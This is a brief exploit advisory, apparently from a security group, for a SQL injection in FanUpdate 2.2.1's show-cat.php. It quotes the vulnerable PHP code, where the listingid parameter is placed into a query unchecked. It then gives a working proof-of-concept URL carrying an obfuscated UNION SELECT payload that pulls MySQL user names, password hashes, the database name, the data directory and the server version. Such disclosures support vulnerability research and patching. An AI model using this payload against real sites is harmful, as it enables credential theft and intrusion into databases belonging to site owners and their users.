Author : (In)Security Romania
Website : https://insecurity.ro
Vulnerable script : FanUpdate 2.2.1
- Explanation
See show-cat.php file
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if (!isset($listingid)) { exit; }
require_once('blog-config.php');
require_once('functions.php');
$fu =& FanUpdate::instance();
$fu->addOptFromDb();
$query = "SELECT * FROM ".$fu->getOpt('catoptions_table')." WHERE cat_id=$listingid LIMIT 1";
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listingid variable not checked,we can inject our maliciouse SQL code.
- PoC
http://website/script/show-cat.php?listingid=nuLL/*pwned*/uNiOn+aLL+seLeCt+0,0,coNcAt_ws(0x3a,user,0x3a,password),coNcAt_ws(0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,version()),0,0+frOm+mysql.user--
